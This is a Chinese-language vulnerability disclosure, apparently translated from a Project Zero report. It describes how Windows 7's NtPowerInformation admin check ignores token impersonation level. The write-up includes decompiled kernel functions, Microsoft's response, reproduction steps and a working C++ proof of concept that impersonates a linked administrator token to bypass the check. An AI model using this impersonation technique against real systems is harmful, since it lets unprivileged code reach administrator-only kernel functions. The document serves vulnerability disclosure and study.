MSRC-20706
摘要
系统调用 NtPowerInformation 在执行某些特定的电源功能之前会检查调用者是管理员。检查在 PopUserIsAdmin 函数中完成。
在 Windows 7 上,此检查是可绕过的,因为 SeTokenIsAdmin 函数不考虑令牌的模拟级别,并且其余代码也不考虑它。因此,您可以将管理员的令牌冒充为普通用户(通过链接令牌或绑架系统令牌)并调用受保护的函数。
代码分析
Ntdll.dll中NtPowerInformation函数直接调用NTOSKRNL.EXE中的NtPowerInformation函数,部分代码如下:
NTSTATUS __stdcall NtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength)
{
......
v5 = KeGetCurrentThread()->PreviousMode;
PreviousMode[0] = v5;
v61 = PsGetCurrentThreadProcessId();
if ( InputBuffer )
{
v6 = InputBufferLength;
}
else
{
v6 = 0;
InputBufferLength = 0;
}
if ( !v6 )
Src = 0;
if ( !Address )
OutputBufferLength = 0;
if ( !OutputBufferLength )
Address = 0;
if ( v5 )
{
if ( InformationLevel == SystemPowerStateHandler
|| InformationLevel == SystemPowerStateNotifyHandler
|| InformationLevel == ProcessorPerfStates
|| InformationLevel == ProcessorCap
|| InformationLevel == ProcessorIdleStates
|| InformationLevel == SystemPowerLoggingEntry
|| InformationLevel == TraceApplicationPowerMessage
|| InformationLevel == TraceApplicationPowerMessageEnd
|| InformationLevel == PowerShutdownNotification
|| InformationLevel == MonitorCapabilities
|| InformationLevel == SessionPowerInit
|| InformationLevel == SessionDisplayState
|| InformationLevel == ProcessorIdleDomains
|| InformationLevel == NotifyUserModeLegacyPowerEvent
|| InformationLevel == SetPowerSettingValue )
{
LABEL_61:
v7 = -1073741790;
goto LABEL_205;
}
ms_exc.registration.TryLevel = 0;
if ( (InformationLevel == GetPowerRequestList || InformationLevel == WakeTimerList) && !PopUserIsAdmin() )
goto LABEL_29;
if ( Src )
{
if ( (InformationLevel == AdministratorPowerPolicy
|| InformationLevel == ProcessorLoad
|| InformationLevel == GroupPark
|| InformationLevel == SystemHiberFileSize)
&& !PopUserIsAdmin() )
{
......
}
PopUserIsAdmin函数会检查是否当前是否为管理员,我们继续看代码:
BOOLEAN __stdcall PopUserIsAdmin()
{
void *v0; // eax
BOOLEAN v1; // bl
struct _SECURITY_SUBJECT_CONTEXT SubjectContext; // [esp+8h] [ebp-10h] BYREF
SeCaptureSubjectContext(&SubjectContext);
SeLockSubjectContext(&SubjectContext);
v0 = SubjectContext.ClientToken;
if ( !SubjectContext.ClientToken )
v0 = SubjectContext.PrimaryToken;
v1 = SeTokenIsAdmin(v0);
SeUnlockSubjectContext(&SubjectContext);
SeReleaseSubjectContext(&SubjectContext);
return v1;
}
注意到SeTokenIsAdmin是检查的关键函数
BOOLEAN __stdcall SeTokenIsAdmin(PACCESS_TOKEN Token)
{
return SepSidInToken((int)Token, SeAliasAdminsSid, 0, 0, 0, 0);
}
bool __userpurge SepSidInToken@<al>(int a1@<eax>, void *a2@<edx>, void *a3, char a4, char a5, char a6)
{
unsigned int *v6; // esi
v6 = (unsigned int *)(a1 + 336);
if ( !a5 )
v6 = (unsigned int *)(a1 + 200);
return SepSidInTokenSidHash(a2, v6, a3, a4, a5, a6);
}
bool __userpurge SepSidInTokenSidHash@<al>(void *a1@<edx>, unsigned int *a2@<esi>, void *a3, char a4, char a5, char a6)
{
bool result; // al
const void **v7; // eax
const void *v8; // eax
if ( a3 && RtlEqualSid(SePrincipalSelfSid, a1) )
a1 = a3;
result = 1;
if ( a6 && RtlEqualSid(SeOwnerRightsSid, a1) )
return result;
v7 = RtlSidHashLookup(a2, (unsigned __int8 *)a1);
if ( !v7
|| (a5 || v7 != (const void **)a2[1] || ((_BYTE)v7[1] & 0x10) != 0 && !a4)
&& (v8 = v7[1], ((unsigned __int8)v8 & 4) == 0)
&& (!a4 || ((unsigned __int8)v8 & 0x10) == 0) )
{
result = 0;
}
return result;
}
可以看到SeTokenIsAdmin的下级函数中没有检查令牌的模拟级别,所以这里可以从中模拟级别提升来执行。
微软反馈
我们不认为这是 UAC 问题(这是描述 IL 相关提升问题的典型方式),使用链接令牌是 PoC 实现问题,有可能通过窃取管理员级别的令牌以普通用户身份运行时的其他方式(例如 BITS)。该代码显然错误地检查了当前模拟令牌以获取构成已定义安全边界的管理员权限。提供了 OSR 论坛帖子的链接(http://www.osronline.com/showthread.cfm?link=201029)他们自己的 Ken Johnson 为这个确切的安全问题提供了警告。也就是说,它承认绕过检查没有明显的严重安全隐患。
POC
附件是一个简单的 PoC,它演示了在 Windows 7 上执行的问题。要重现,请按照以下步骤操作。
- 确保以拆分令牌管理员身份运行,这是因为 PoC 使用链接令牌来获取管理员令牌。对于普通用户,您可以从服务中捕获令牌。
2)执行PoC,它应该做调用,一个没有模拟,一个有模拟。
预期结果:
两个调用都应该返回 STATUS_ACCESS_DENIED (0xC0000022)
观察结果:
第一次检查以 STATUS_ACCESS_DENIED 失败,而第二次检查以 STATUS_SUCCESS 成功。
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <vector>
HANDLE GetLinkedToken()
{
HANDLE linked_token;
HANDLE hToken;
DWORD dwRetLen;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)19, &linked_token, sizeof(linked_token), &dwRetLen))
{
printf("Got Token: %p\n", linked_token);
return linked_token;
}
else
{
printf("Error: %d\n", GetLastError());
}
return NULL;
}
extern "C" LONG NTAPI NtPowerInformation(int level, void* in, unsigned long len, void* out, unsigned long outlen);
int _tmain(int argc, _TCHAR* argv[])
{
std::vector<char> buf(10 * 1024);
LONG ret = NtPowerInformation(45, NULL, 0, &buf[0], buf.size());
printf("Call, No Impersonation: %08X\n", ret);
HANDLE hLinked = GetLinkedToken();
if (hLinked)
{
ImpersonateLoggedOnUser(hLinked);
ret = NtPowerInformation(45, NULL, 0, &buf[0], buf.size());
printf("Call, Impersonation: %08X\n", ret);
RevertToSelf();
}
return 0;
}
参考
https://bugs.chromium.org/p/project-zero/issues/detail?id=127